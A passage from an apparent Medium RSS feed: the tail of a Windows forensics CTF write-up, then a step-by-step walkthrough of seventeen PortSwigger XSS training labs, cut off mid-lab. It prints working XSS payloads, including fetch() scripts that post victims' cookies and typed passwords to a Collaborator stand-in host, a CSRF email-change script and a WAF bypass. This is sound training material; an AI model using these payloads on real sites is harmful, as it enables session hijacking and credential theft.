C:\Users\macle\Desktop\Sherlocks\campfire-1\Triage\Workstation\2024-05-21T033012_triage_asset\C\Windows\prefetch --csv C:\Users\macle\Desktop\</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zOMx9K9-vDnP5oqeqqUOOQ.png" /></figure><p><strong>Step 2:</strong> Open on output file on Timeline Explorer and look for any suspicious application on Executable Name.</p><p><strong>NOTE:</strong> Rubeus is <strong>a command-line tool developed to misuse and manipulate Kerberos authentication in Windows Active Directory environments</strong>. Its main purpose is to launch different attacks based on Kerberos, including ticket-grabbing, ticket-manipulation, and pass-the-ticket attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QYzZ_iknFylB52p7b1r78w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*JhWz2smUpPDcFtuW2KRb1g.png" /></figure><p><strong>7. When was the tool executed to dump credentials?</strong></p><p><strong>ANS: 2024–05–21 03:18:08</strong></p><p><strong>EXPLANATION:</strong></p><p><strong>Step 1:</strong> Based on Question 6, check for the Last Run on Timeline Explorer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NYEyVaYW-XjnCl8XOKhW_Q.png" /></figure><p><strong>*****************THANK YOU****KEEP LEARNING ******************</strong></p><p><strong>HOPE GUYS, THIS WALKTHROUGH MIGHT HELP YOU,IF SO LIKE THE WRITE UP ,LIKE &amp; FOLLOW TO THE BLOG AND PROFILE WILL BE MUCH APPRECIATED</strong></p><p><strong>FOLLOW MY PROFILE FOR MORE WRITE-UPS</strong></p><p><strong>****************************PEACE********************************</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b5cbdf17c9ea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Web Security Academy by PortSwigger | Cross-Site Scripting (XSS)]]></title>
            <link>https://medium.com/@mathen/web-security-academy-by-portswigger-cross-site-scripting-xss-59c55e0e675a?source=rss-3480afb04cc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/59c55e0e675a</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[Mac Leo]]></dc:creator>
            <pubDate>Thu, 11 May 2023 15:08:39 GMT</pubDate>
            <atom:updated>2023-05-11T15:08:39.263Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2cMonI3BWnKV7vcgYpRTKQ.png" /></figure><p><strong>Lab 1: Reflected XSS into HTML context with nothing encoded</strong></p><p><strong>Description:</strong></p><p>This lab contains a simple reflected cross-site scripting vulnerability in the search functionality.</p><p>To solve the lab, perform a cross-site scripting attack that calls the <strong><em>alert</em></strong> function.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the lab</p><p><strong>Step2</strong>: Inject<strong> XSS Payload </strong>on the<strong> search bar</strong></p><p><strong>&lt;script&gt;alert(1)&lt;/script&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nGhvTvy0XgccAdmTTk0KKg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KAzGFuwRlNimeVyYZi40SA.png" /></figure><p><strong>Step 3</strong>: Click <strong>search</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CvwzaS4ec9J_GvVCLqVzug.png" /></figure><p><strong>Lab 2: Stored XSS into HTML context with nothing encoded</strong></p><p><strong>Description:</strong></p><p>This lab contains a stored cross-site scripting vulnerability in the comment functionality.</p><p>To solve this lab, submit a comment that calls the <strong><em>alert</em></strong> function when the blog post is viewed.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the lab</p><p><strong>Step 2</strong>: Click <strong>View post</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nUzEn_dPcQZn_RYcFlwy3A.png" /></figure><p><strong>Step 3</strong>: Inject<strong> XSS Payload </strong>on the<strong> Comment</strong></p><p><strong>&lt;script&gt;alert(1)&lt;/script&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*agH90lCmgxKaosZqIWbA7g.png" /></figure><p><strong>Step 4</strong>: Click <strong>Post Comment</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Imf6PUxiAc9IgamjdE_pRA.png" /></figure><p><strong>Lab 3: DOM XSS in document.write sink using source location.search</strong></p><p><strong>Description:</strong></p><p>This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript<strong><em> document.write</em></strong> function, which writes data out to the page. The<strong><em> document.write</em></strong> function is called with data from <strong><em>location.search</em></strong>, which you can control using the website URL.</p><p>To solve this lab, perform a cross-site scripting attack that calls the <strong><em>alert</em></strong> function.</p><p><strong>Step 1</strong>: Access the lab</p><p><strong>Step 2</strong>: Enter <strong>batman</strong> on <strong>search</strong> bar and Go to <strong>Inspect Element</strong> by <strong>Right Click</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hizwN9vJM6e0W0_fojc7PQ.png" /></figure><p><strong>Step 3</strong>: Check the string<strong> batman </strong>on the<strong> Inspector</strong>, One is reflect on <strong>&lt;h1&gt;</strong> tag and other is reflected on<strong> &lt;img&gt;</strong> tag on <strong>&lt;script&gt;</strong> tag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EJIsNLc8rgYJ0uGsQPzmsw.png" /></figure><p><strong>Step 4</strong>: Inject<strong> DOM XSS Payload</strong></p><p><strong>batman”&gt;&lt;svg onload=alert(1)&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZZag2ohbOEwBVUxDpunxQw.png" /></figure><p><strong>Step 5</strong>: Open the <strong>Inspect </strong>element, the <strong>&lt;svg onload=alert(1)</strong>&gt; forms a function</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z8cw7qxvfSNiiw85O6wtdQ.png" /></figure><p><strong>Lab 4: DOM XSS in innerHTML sink using source location.search</strong></p><p><strong>Description:</strong></p><p>This lab contains a DOM-based cross-site scripting vulnerability in the search blog functionality. It uses an <strong><em>innerHTML</em></strong> assignment, which changes the HTML contents of a <strong><em>div </em></strong>element, using data from <strong><em>location.search</em></strong>.</p><p>To solve this lab, perform a cross-site scripting attack that calls the <strong><em>alert</em></strong> function.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the lab</p><p><strong>Step 2</strong>: Enter<strong> batman</strong> on <strong>search</strong> bar and Check its reflection on <strong>Inspect Element</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4WxYSIxtEaseQB5Ka4o91w.png" /></figure><p><strong>Step 3</strong>: Enter <strong>DOM XSS Payload</strong></p><p><strong>batman&lt;img src=1 onerror=alert(1)&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-LIYdQX8Tlb2kLXYgvhqxA.png" /></figure><p><strong>Lab 5: DOM XSS in jQuery anchor href attribute sink using location.search source</strong></p><p><strong>Description:</strong></p><p>This lab contains a DOM-based cross-site scripting vulnerability in the submit feedback page. It uses the jQuery library’s<strong> $</strong> selector function to find an anchor element, and changes its<strong> href</strong> attribute using data from <strong>location.search</strong>.</p><p>To solve this lab, make the “back” link alert <strong>document.cookie</strong>.</p><p><strong>Step 1</strong>: Access the lab</p><p><strong>Step 2</strong>: Click <strong>Submit feedback </strong>and Enter <strong>batman</strong> after <strong>/</strong> on the URL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CDYd_4Sv4m-YcYzN4-TJmg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9RpDytwbeGF-9dOqt9qVrA.png" /></figure><p><strong>Step 3</strong>: Open the <strong>Inspect Element</strong> and check for the string <strong>batman</strong> reflects</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*knG3htLu0yYQAy76ChPg7g.png" /></figure><p><strong>Step 4</strong>: Inject <strong>DOM XSS Payload</strong> on <strong>URL</strong></p><p><strong>javascript:alert(document.cookie)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K454KzAn5K4sKKOmPAu20w.png" /></figure><p><strong>Step 5</strong>: Hit <strong>Enter</strong> and click<strong> back</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MQ8G2Y7_MmuRY2SA2MDobg.png" /></figure><p><strong>Lab 6: DOM XSS in jQuery selector sink using a hashchange event</strong></p><p><strong>Description:</strong></p><p>This lab contains a DOM-based cross-site scripting vulnerability on the home page. It uses jQuery’s <strong><em>$()</em></strong> selector function to auto-scroll to a given post, whose title is passed via the <strong><em>location.hash</em></strong> property.</p><p>To solve the lab, deliver an exploit to the victim that calls the<strong><em> print()</em></strong> function in their browser.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Acess the lab</p><p><strong>Step 2</strong>: Click on <strong>Exploit Server</strong>, in the <strong>Body</strong> section add this payload:</p><p><strong>&lt;iframe src=”</strong><a href="https://your-lab-id.web-security-academy.net/#"><strong>https://YOUR-LAB-ID.web-security-academy.net/#</strong></a><strong>&quot; onload=”this.src+=’&lt;img src=x onerror=print()&gt;’”&gt;&lt;/iframe&gt;</strong></p><blockquote><strong>NOTE: change the </strong><a href="https://your-lab-id.web-security-academy.net/#"><strong>https://YOUR-LAB-ID.web-security-academy.net</strong></a><strong> with URL of the lab</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rZ8TotNnvyYP9Yd5YOjlWA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jheTtESX45BCXGLkU4R2Gw.png" /></figure><p><strong>Step 3</strong>: Click <strong>store</strong>, and then <strong>View Exploit</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jBSUGZ9szLtdGTgqy8K7Kw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pS773Ey_GxdgUgWN_3yDXg.png" /></figure><p><strong>Step 4</strong>: Click <strong>Deliver exploit to victim</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wLonDlkpW7nouhsvmTbvyg.png" /></figure><p><strong>Lab 7: Reflected XSS into attribute with angle brackets HTML-encoded</strong></p><p><strong>Description:</strong></p><p>This lab contains a reflected cross-site scripting vulnerability in the search blog functionality where angle brackets are HTML-encoded. To solve this lab, perform a cross-site scripting attack that injects an attribute and calls the <strong><em>alert</em></strong> function.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the lab</p><p><strong>Step 2</strong>: Enter XSS Payload and observe what it reflects on Inspect Element</p><p><strong>&lt;script&gt;alert(1)&lt;/script&gt;</strong></p><p>It shows the payload has been closed with <strong>“</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OsN_XEJQJRozmfI6mWzVoA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bVfwmm1-zP8Ad6QyOw-GLA.png" /></figure><p><strong>Step 3</strong>: Enter <strong>XSS Payload</strong> and observe what it reflects on <strong>Inspect Element</strong></p><p><strong>“&lt;script&gt;alert(1)&lt;/script&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m95V9-w7jChA9bjqTj4NrQ.png" /></figure><p>It shows the <strong>&lt;script&gt;&lt;/script&gt;</strong> tag been <strong>sanitized</strong></p><p><strong>Step 4</strong>: Enter XSS Payload</p><p><strong>“onmouseover=”alert(1)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gQVz0ZdYnS0sRLdIMcizyg.png" /></figure><p><strong>Lab 8: Stored XSS into anchor href attribute with double quotes HTML-encoded</strong></p><p><strong>Description:</strong></p><p>This lab contains a stored cross-site scripting vulnerability in the comment functionality. To solve this lab, submit a comment that calls the <strong><em>alert</em></strong> function when the comment author name is clicked.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the lab</p><p><strong>Step 2</strong>: Click <strong>View Post </strong>and Inject XSS Payload on <strong>Website </strong>bar<strong>:</strong></p><p><strong>javascript:alert(1)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kwq51cRwcKfg2XAQRyUDcA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sfr70rPc1ch_XjTzQi1IvQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aRz3EGh5tSZjnjYhwbnYkw.png" /></figure><p><strong>Lab 9: Reflected XSS into a JavaScript string with angle brackets HTML encoded</strong></p><p><strong>Description:</strong></p><p>This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets are encoded. The reflection occurs inside a JavaScript string. To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the <strong><em>alert</em></strong> function.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the Lab</p><p><strong>Step 2</strong>: Inject the<strong> XSS Payload</strong> on <strong>Search</strong> bar</p><p><strong>&lt;script&gt;alert(1)&lt;/script&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1xTsAq5vAWVFaYjkWsOVCA.png" /></figure><p><strong>Step 3</strong>: Open<strong> Inspect Element</strong> and observe the reflection</p><p>It seems that <strong>&lt;script&gt;&lt;/script&gt;</strong> tag been <strong>sanitized</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oldn5Bgcob7-2-3o9lRGog.png" /></figure><p><strong>Step 4</strong>: Inject the XSS Payload on <strong>Search</strong> bar</p><p><strong>‘-alert(1)-’</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GFHseedwuZUTZ_eSY4WjtQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HdMmC5SDJvXv8jPTXjHsrg.png" /></figure><p><strong>Lab 10: DOM XSS in document.write sink using source location.search inside a select element</strong></p><p><strong>Description:</strong></p><p>This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript <strong><em>document.write</em></strong> function, which writes data out to the page. The <strong><em>document.write</em></strong> function is called with data from <strong><em>location.search</em></strong> which you can control using the website URL. The data is enclosed within a select element.</p><p>To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the <strong><em>alert</em></strong> function.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the Lab</p><p><strong>Step 2</strong>: Click the <strong>View details</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_2MWMtApLpoSDFc1ECNNXQ.png" /></figure><p><strong>Step 3</strong>: Select<strong> London</strong> and Click <strong>Check stock</strong>, Open <strong>Inspect Element </strong>and<strong> c</strong>heck <strong>London</strong> where it reflects</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4SFdZ7dVVmcKDgHTlN-jxA.png" /></figure><p><strong>Step 4</strong>: Inject the <strong>XSS Payload</strong> after s <strong>productID=1 </strong>and hit<strong> Enter</strong></p><p><strong>&amp;storeId=&lt;script&gt;alert(1)&lt;/script&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZHXBHhcdZyYclf02t19p6w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-k-2tO0S4vU8PE3P97dufA.png" /></figure><p><strong>Lab 11: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded</strong></p><p><strong>Description:</strong></p><p>This lab contains a DOM-based cross-site scripting vulnerability in a AngularJS expression within the search functionality.</p><p>AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the <strong><em>ng-app</em></strong> attribute (also known as an AngularJS directive). When a directive is added to the HTML code, you can execute JavaScript expressions within double curly braces. This technique is useful when angle brackets are being encoded.</p><p>To solve this lab, perform a cross-site scripting attack that executes an AngularJS expression and calls the <strong><em>alert</em></strong> function.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the lab</p><p><strong>Step 2</strong>: Enter <strong>batman</strong> in<strong> Search</strong> bar and open <strong>Inspect Element</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RiFDFAtjBHoXNPX3nBRz0g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dysJQTQIeE3D2zbT5r49YA.png" /></figure><p><strong>Step 3</strong>: We noticed the string in in<strong> ng-app</strong> function, So let`s construct</p><p><strong>XSS Payload </strong>using <strong>AngularJS Expression</strong></p><p><strong>{{$on.constructor(‘alert(1)’)()}}</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DaIODgzL9nMcfDN-qNECOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ICGKTAcDnxVbnKs77ERruA.png" /></figure><p><strong>Lab 12: Reflected DOM XSS</strong></p><p><strong>Description:</strong></p><p>This lab demonstrates a reflected DOM vulnerability. Reflected DOM vulnerabilities occur when the server-side application processes data from a request and echoes the data in the response. A script on the page then processes the reflected data in an unsafe way, ultimately writing it to a dangerous sink.</p><p>To solve this lab, create an injection that calls the <strong><em>alert()</em></strong> function.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the lab</p><p><strong>Step 2</strong>: Enter<strong> batman</strong> on <strong>Search</strong> bar and <strong>Intercept</strong> the request with <strong>Burp</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T10B6wMpopcy0UTalVLO0g.png" /></figure><p><strong>Step 3</strong>: Send the request to <strong>Repeater</strong>, we observe the value stored in <strong>searchResults.js</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K3kqXKjhwzummbnJz0utdA.png" /></figure><p><strong>Step 4</strong>: Go to <strong>Target → Site map → resources → js → searchResults.js</strong>, we noticed it use <strong>eval()</strong> function</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DAUzM3eClF_ILDY4Qh8Ciw.png" /></figure><p><strong>Step 5</strong>: Inject <strong>XSS Payload </strong>on<strong> Search</strong> and hit <strong>Enter</strong></p><p><strong>\”-alert(1)}//</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JMJM5Aoc6oURtDBgjPryFw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1SLElhRPxkQACIHxD7UB_Q.png" /></figure><p><strong>Lab 13: Stored DOM XSS</strong></p><p><strong>Description:</strong></p><p>This lab demonstrates a stored DOM vulnerability in the blog comment functionality. To solve this lab, exploit this vulnerability to call the <strong><em>alert()</em></strong> function.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the lab</p><p><strong>Step 2</strong>: Click <strong>View post </strong>and Enter<strong> &lt;script&gt;alert(1)&lt;/script&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oLeMkYO7qTSZ3teVvje5ww.png" /></figure><p><strong>Step 3</strong>: <strong>Inspect Element</strong> and check where the query reflects, the &lt;/script&gt; tag has been sanitized</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JA0f0khtTw4nvpUso3eGyQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Qcs7Nq8DvSLwPAAzPZnZg.png" /></figure><p><strong>Step 4</strong>: Inject XSS Payload on <strong>comment</strong></p><p><strong>&lt;&gt;&lt;img src=1 onerror=alert(1)&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zrqxxx_sf1356Y2vNXqsSw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mv1ow9DglB6cXJSxxdjaTg.png" /></figure><p><strong>Lab 14: Exploiting cross-site scripting to steal cookies</strong></p><p><strong>Description:</strong></p><p>This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim’s session cookie, then use this cookie to impersonate the victim.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the lab</p><p><strong>Step 2</strong>: Click <strong>View Post</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C-ZWKVxY0YvEd3_JnQn4cQ.png" /></figure><p><strong>Step 3</strong>: We need<strong> Burp Suite Professional</strong>, Open <strong>Collaborator</strong> and<strong> Copy to Clipboard</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l2JjFt5w5DkExhno5DInoA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*hQPWugdk21uCJFAyy603Fw.png" /></figure><p><strong>Step 4</strong>: Inject<strong> </strong>the<strong> Payload</strong> on <strong>Comment</strong></p><p><strong>&lt;script&gt;<br>fetch(‘</strong><a href="https://burp-collaborator-subdomain&/#39;"><strong>https://BURP-COLLABORATOR-SUBDOMAIN&#39;</strong></a><strong>, {<br>method: ‘POST’,<br>mode: ‘no-cors’,<br>body:document.cookie<br>});<br>&lt;/script</strong>&gt;</p><blockquote><strong>NOTE: Change BURP-COLLABORATOR-SUBDOMAIN with copy clipboard</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gZa8-Lzsr0ruPsdcsk4KGQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NmFrjKqaZZmMUU-Xd6kv9A.png" /></figure><p><strong>Step 5</strong>: Click <strong>Poll Now</strong> on <strong>Collaborator</strong>, Click on <strong>Request to Collaborator</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*9Orbcvs0_OQaA73ntmt2wA.png" /></figure><p><strong>Step 6</strong>: Copy the <strong>session cookie</strong>, Go to<strong> Main Page</strong> of the Webpage</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y41pPqNcTFeA8VEqfdjPng.png" /></figure><p><strong>Step 7</strong>: Go to<strong> Inspect Element</strong> → <strong>Application</strong> → <strong>Cookies</strong>, Change the <strong>Cookies that were copied from Collaborator</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TfsPToWlJmQfiRZ1H9hf1g.png" /></figure><p><strong>Lab 15: Exploiting cross-site scripting to capture passwords</strong></p><p><strong>Description:</strong></p><p>This lab contains a <a href="https://portswigger.net/web-security/cross-site-scripting/stored">stored XSS</a> vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim’s username and password then use these credentials to log in to the victim’s account.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the lab</p><p><strong>Step 2</strong>: Click <strong>View Post</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k3qEhWcZpAi0KYCX8vnQ5w.png" /></figure><p><strong>Step 3</strong>: We need<strong> Burp Suite Professional</strong>, Open <strong>Collaborator</strong> and <strong>Copy to Clipboard</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l2JjFt5w5DkExhno5DInoA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*hQPWugdk21uCJFAyy603Fw.png" /></figure><p><strong>Step 4</strong>: Inject the <strong>Payload</strong> on <strong>Comment</strong></p><p><strong>&lt;input name=username id=username&gt;<br>&lt;input type=password name=password onchange=”if(this.value.length)fetch(‘</strong><a href="https://burp-collaborator-subdomain&/#39;,{"><strong>https://BURP-COLLABORATOR-SUBDOMAIN&#39;,{</strong></a><strong><br>method:’POST’,<br>mode: ‘no-cors’,<br>body:username.value+’:’+this.value<br>});”&gt;</strong></p><blockquote><strong>NOTE: Change BURP-COLLABORATOR-SUBDOMAIN with copy clipboard</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RVmEZXoy_d4QIj-ckDBEyw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sx2r1aUihE_zV0SY0llO7g.png" /></figure><p><strong>Step 5</strong>: Click Poll Now on<strong> Collaborator</strong>, Click on <strong>Request to Collaborator, c</strong>opy the <strong>user credentials</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*WL3kbrd9wonUaKqhUiy08Q.png" /></figure><p><strong>Step 6</strong>: Click <strong>My account </strong>and fill up the <strong>user credentials</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tWpc2toiMgDJw04QPzlUFA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OCbT7I1TDX0K7be-o7QX5w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o_WOtpgL5F-7Mo_VxM4kvQ.png" /></figure><p><strong>Lab 16: Exploiting XSS to perform CSRF</strong></p><p><strong>Description:</strong></p><p>This lab contains a <a href="https://portswigger.net/web-security/cross-site-scripting/stored">stored XSS</a> vulnerability in the blog comments function. To solve the lab, exploit the vulnerability to perform a <a href="https://portswigger.net/web-security/csrf">CSRF attack</a> and change the email address of someone who views the blog post comments.</p><p>You can log in to your own account using the following credentials: <strong><em>wiener:peter</em></strong></p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the lab</p><p><strong>Step 2</strong>: Click <strong>My account</strong>, fillup the <strong>user credentials</strong> that mention in description</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8moWCxGhdWNtR0sX0rXBdA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6aJ8GqwdZ_61GPS18uCFqQ.png" /></figure><p><strong>Step 3</strong>: <strong>Intercept </strong>the <strong>change email request</strong> via <strong>Burp Suite</strong>, we notice there is <strong>csrf token</strong>, which mentioned there is a possible <strong>CSRF exploit</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vFdGu07OkPqZWzycJdOwYw.png" /></figure><p><strong>Step 4</strong>: We can perform <strong>CSRF Attack</strong> via<strong> XSS Exploit</strong>, Inject the <strong>Payload</strong> and click <strong>Post Comment</strong></p><p><strong>&lt;script&gt; var req = new XMLHttpRequest(); req.onload = handleResponse; req.open(‘get’,’/my-account’,true); req.send(); function handleResponse() { var token = this.responseText.match(/name=”csrf” value=”(\w+)”/)[1]; var changeReq = new XMLHttpRequest(); changeReq.open(‘post’, ‘/my-account/change-email’, true); changeReq.send(‘csrf=’+token+’&amp;email=test@test.com’) }; &lt;/script&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3WPsKuo-zCRFTgL4kEN3Ww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tm5VmNF8X3M7GlSP7kvz7g.png" /></figure><p><strong>Lab 17: Reflected XSS into HTML context with most tags and attributes blocked</strong></p><p><strong>Description:</strong></p><p>This lab contains a reflected XSS vulnerability in the search functionality but uses a web application firewall (WAF) to protect against common XSS vectors.</p><p>To solve the lab, perform a cross-site scripting attack that bypasses the WAF and calls the<strong><em> print()</em></strong> function.</p><p><strong>Explanation:</strong></p><p><strong>Step 1</strong>: Access the lab</p><p><strong>Step 2</strong>: Enter<strong> &lt;img src=1 onerror=print()&gt;</strong>, <strong>Intercept</strong> the Request in Burp and send it to <strong>Intruder</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yIMZSB-1UsVkeJ7mXmJ-Hg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5y5UDIaKu6Hc6c2OHBmf9Q.png" /></figure><p><strong>Step 3</strong>: In <strong>Burp Intruder</strong>, in the Positions tab, click “<strong>Clear §</strong>”. Replace the <strong>value</strong> of the search term with: <strong>&lt;&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g8ogNFBb6IjxyRhDytFMmQ.png" /></figure><p><strong>Step 4</strong>: Place the cursor between the angle brackets and click “<strong>Add §</strong>” <strong>twice</strong>, to create a <strong>payload position</strong>. The value of the search term should now look like: <strong>&lt;§§&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-cHVKnG8lUMtqBImvTah6w.png" /></figure><p><strong>Step 5</strong>: Visit the <a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet"><strong>XSS cheat sheet</strong></a> and click “<strong>Copy tags to clipboard</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GdPSZ-HnTlvU8XzlCY0oDw.png" /></figure><p><strong>Step 6</strong>: In <strong>Burp Intruder</strong>, in the Payloads tab, click “<strong>Paste</strong>” to paste the list of tags into the payloads list. Click “<strong>Start attack</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RMloUMLBQlzKMVfdgd5LXQ.png" /></figure><p><strong>Step 7</strong>: When the attack is finished, review the results. Note that all payloads caused an <strong>HTTP 400 response</strong>, except for the body payload, which caused a <strong>200 response</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*om-RumTXw9nFal-JuxrURw.png" /></figure><p><strong>Step 8</strong>: Go back to the Positions tab in Burp Intruder and replace your search term with:<br><strong>&lt;body%20=1&gt;</strong></p><figure><img alt="" 